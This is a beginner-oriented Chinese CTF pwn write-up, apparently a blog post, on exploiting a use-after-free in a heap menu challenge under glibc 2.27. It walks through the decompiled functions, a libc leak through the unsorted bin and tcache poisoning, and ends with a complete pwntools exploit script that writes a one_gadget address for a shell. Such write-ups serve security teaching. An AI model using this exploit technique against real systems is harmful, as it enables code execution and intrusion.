ctfpwn-堆入门之uaf(新手向)

发布时间 2023-06-15 16:38:01作者: r136a1

例题:

程序保护全开,ida打开

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    switch ( (unsigned int)read_int() )
    {
      case 1u:
        new_book();
        break;
      case 2u:
        edit_book();
        break;
      case 3u:
        delete_book();
        break;
      case 4u:
        show_book();
        break;
      case 5u:
        return 0;
      case 0x11u:
        magic_book();
        break;
      default:
        continue;
    }
  }
}

可以看到是一个标准的堆的菜单题

new_book函数可以申请任意大小的堆块,并且把堆块大小存到books_size数组中,books_size是bss段的全局变量,并且把malloc_hook,free_hook置0

__int64 new_book()
{
  int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  puts("book size:");
  v2 = read_int();
  for ( i = 0; i <= 4; ++i )
  {
    if ( !books[i] )
    {
      books[i] = malloc(v2);
      books_size[i] = v2;
      printf("You got new book at index %d\n", (unsigned int)i);
      break;
    }
  }
  _malloc_hook = 0LL;
  _free_hook = 0LL;
  return 0LL;
}

edit_book函数可以向指定堆块读入不超过这个堆块大小的数据,没有溢出。并且也把malloc_hook,free_hook置0

__int64 edit_book()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Book index:");
  v1 = read_int();
  if ( v1 > 4 )
  {
    puts("Wrong index!");
  }
  else if ( books[v1] )
  {
    puts("Provide book content:");
    read(0, (void *)books[v1], (int)books_size[v1]);
  }
  _malloc_hook = 0LL;
  _free_hook = 0LL;
  return 0LL;
}

delete_book函数存在uaf漏洞,同样把malloc_hook,free_hook置0

__int64 delete_book()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Book index:");
  v1 = read_int();
  if ( v1 > 4 )
  {
    puts("Invalid index!");
  }
  else if ( books[v1] )
  {
    free((void *)books[v1]);                    // uaf
    puts("Successfully deleted!");
  }
  else
  {
    puts("Already deleted!");
  }
  _malloc_hook = 0LL;
  _free_hook = 0LL;
  return 0LL;
}

show_book函数可以打印堆块中的数据

int show_book()
{
  __int64 v0; // rax
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  puts("Book index:");
  v2 = read_int();
  if ( v2 > 4 )
  {
    puts("Invalid index!");
    LODWORD(v0) = 0;
  }
  else
  {
    v0 = books[v2];
    if ( v0 )
      LODWORD(v0) = printf("OUTPUT: %s\n", (const char *)books[v2]);
  }
  return v0;
}

magic_book函数有一个magic_library函数,这个函数存放着一个指向bss段的指针

__int64 magic_book()
{
  return magic_library();
}

按tab键可以查看汇编代码

public magic_book
magic_book proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     rax, cs:magic_library
jmp     rax
magic_book endp

可以看到这个函数跳转到bss段指针指向的位置

 思路:程序存在uaf漏洞,并且每次申请,编辑,释放堆块后将malloc_hook,free_hook置0。题目给了libc版本为2.27。所以可以先申请一个大堆块,一个小堆块,一个任意大小的堆块(防止与top chunk合并),再将大堆块释放进入unsorted bin中,这个堆块的fd和bk就被写入了与main_arena有固定偏移的地址,由于存在uaf漏洞,申请堆块的指针没有被清除,所以仍然可读可写,所以可以利用上述的unsorted bin的特性来泄露libc,然后再用一次uaf先释放第二个堆块,将magic_library写到第二个堆块中,再连续申请两个与这个堆块同样大小的堆块,就会从tcache bin中将magic_library申请出来,然后就可以读写magic_library指针所指向的内存了,利用magic_book的特性,将根据前面泄露的libc计算出的one_gadget写入到magic_library所指向的内存,然后再调用magic_hook即可。

exp:

from pwn import *
p=process('./pwn')
libc=ELF('./libc-2.27.so')

def menu():
        p.recvuntil(b'>> ')
def add(size):
        menu()
        p.sendline(b'1')
        p.recvuntil(b'book size:\n')
        p.sendline(str(size))
def edit(idx,con):
        menu()
        p.sendline(b'2')
        p.recvuntil(b'Book index:\n')
        p.sendline(str(idx))
        p.recvuntil(b'Provide book content:')
        p.sendline(con)
def show(idx):
        menu()
        p.sendline(b'4')
        p.recvuntil(b'index:')
        p.sendline(str(idx))
def free(idx):
        menu()
        p.sendline(b'3')
        p.recvuntil('Book index:\n')
        p.sendline(str(idx))
add(0x500)
add(0x80)
add(0x500)
free(0)
show(0)
p.recvuntil(b'OUTPUT:')
base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-4111520
one_gadget=base+0x4f2a5
print(hex(base))
free(1)
edit(1,p64(0x602110))
add(0x80)
add(0x80)
edit(4,p64(one_gadget))
p.sendline(b'17')
p.interactive()